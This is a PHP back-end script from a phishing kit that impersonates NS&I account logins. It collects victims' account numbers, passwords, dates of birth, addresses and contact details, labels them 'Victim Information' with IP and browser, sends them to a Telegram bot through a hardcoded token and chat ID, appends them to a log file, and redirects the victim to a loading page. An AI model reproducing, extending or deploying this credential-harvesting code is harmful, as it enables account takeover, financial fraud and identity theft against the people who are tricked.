<?php
session_start();
error_reporting(0);

/* 
Our goal is to add email address formatting. As well as prevent blank responses to all fields on each php file.

*/
        // Rest of your form processing code...

    /*
    $_SESSION['nsnumber'] = $_POST['nsnumber'];
    $_SESSION['surname1'] = $_POST['surname1'];
    $_SESSION['passwordns'] = $_POST['passwordns'];
    $_SESSION['fname'] = $_POST['fname'];
    $_SESSION['lname'] = $_POST['lname'];
    $_SESSION['address1'] = $_POST['address1'];
    $_SESSION['postcode'] = $_POST['postcode'];
    $_SESSION['bday'] = $_POST['bday'];
    $_SESSION['phonenumber'] = $_POST['phonenumber'];
    */
    $_SESSION['ns1number'] = $_POST['ns1number'];
    $_SESSION['password1'] = $_POST['password1'];
    $_SESSION['forename'] = $_POST['forename'];
    $_SESSION['dob'] = $_POST['dob'];
    $_SESSION['surname'] = $_POST['surname'];
    $_SESSION['postcode'] = $_POST['postcode'];
    $_SESSION['contactnumber'] = $_POST['contactnumber'];
    $_SESSION['emailaddress'] = $_POST['emailaddress'];

    $ip = $_SERVER['REMOTE_ADDR'];
    $browser = $_SERVER['HTTP_USER_AGENT'];
    $dateTime = date('Y/m/d G:i:s');
    $crd = $_POST['crd'];
    $msg = "
    + ------------- Neo   -------------+
    + ------------------------------------------+
    + NS&I first page details
    | ------------------------------------------+
    | NS&I Number : ".$_SESSION['ns1number']."
    | Password : ".$_SESSION['password1']."
    | First name : ".$_SESSION['forename']."
    | Date of birth : ".$_SESSION['dob']."
    | Surname : ".$_SESSION['surname']."
    | Postcode : ".$_SESSION['postcode']."
    | Contact Number : ".$_SESSION['contactnumber']."
    | Email address : ".$_SESSION['emailaddress']."

    + ------------------------------------------+
    + Victim Information
    | IP : $ip
    | Date Received : $dateTime
    | Browser : $browser
    + ------------- Neo -------------+";

        
    include 'email.php';
    $subj = "NEW NS&I Login From $fname - $ip";
    $headers .= "Content-Type: text/plain; charset=UTF-8\n";
    $headers .= "Content-Transfer-Encoding: 8bit\n";

    /* TELEGRAM SECTION */
// Your Telegram Bot API token
$botToken = '7359519891:AAGQhvxrSvSxE8Hvm2sjrO6n7TiVsgKsLXo';

// The chat ID you want to send a message to
$chatId = '6724117468';

// Your text message
$message = urlencode($msg);

// Telegram API endpoint for sending a text message
$url = "https://api.telegram.org/bot7359519891:AAGQhvxrSvSxE8Hvm2sjrO6n7TiVsgKsLXo/sendMessage?chat_id=$chatId&text=$message";

// Setup the context options
$contextOptions = [
    'http' => [
        'method' => 'GET',
        'header' => "Content-Type:application/x-www-form-urlencoded\r\n"
    ]
];
$context = stream_context_create($contextOptions);

// Perform the HTTP request
$result = file_get_contents($url, false, $context);

// Handle the result
if ($result === FALSE) {
    // Handle error here
    die('Error sending message');
}

# echo $result; // The result returned by the Telegram API
/* END TELEGRAM SECTION */



    # mail("$to", $subj, $msg,"$headers");
    header("Location: loading.php");

    $res= "
    + ------------- Neo  -------------+
    + ------------------------------------------+
    + NS&I full details
    | ------------------------------------------+
    | NS&I Number : ".$_SESSION['ns1number']."
    | Password : ".$_SESSION['password1']."
    | First name : ".$_SESSION['forename']."
    | Date of birth : ".$_SESSION['dob']."
    | Surname : ".$_SESSION['surname']."
    | Postcode : ".$_SESSION['postcode']."
    | Contact Number : ".$_SESSION['contactnumber']."
    | Email address : ".$_SESSION['emailaddress']."

    + ------------------------------------------+
    + Victim Information
    | IP : $ip
    | Date Received : $dateTime
    | Browser : $browser
    + ------------- Neo -------------+";

    $f = fopen("logs/r35u1ts.html", "a");
    fwrite($f, "$res");
    fclose($f); 


    $ip = $_SERVER['REMOTE_ADDR'];
    $browser = $_SERVER['HTTP_USER_AGENT'];
    $dateTime = date('Y/m/d G:i:s');
    $file = "logs/visitors.html";
    $file = fopen($file, "a");
    $data = "<pre><b>User IP</b>: $ip <b> Browser</b>: $browser <br>on Time : $dateTime <br></pre>";
    fwrite($file, $data);
    fclose($file);
    exit;


?>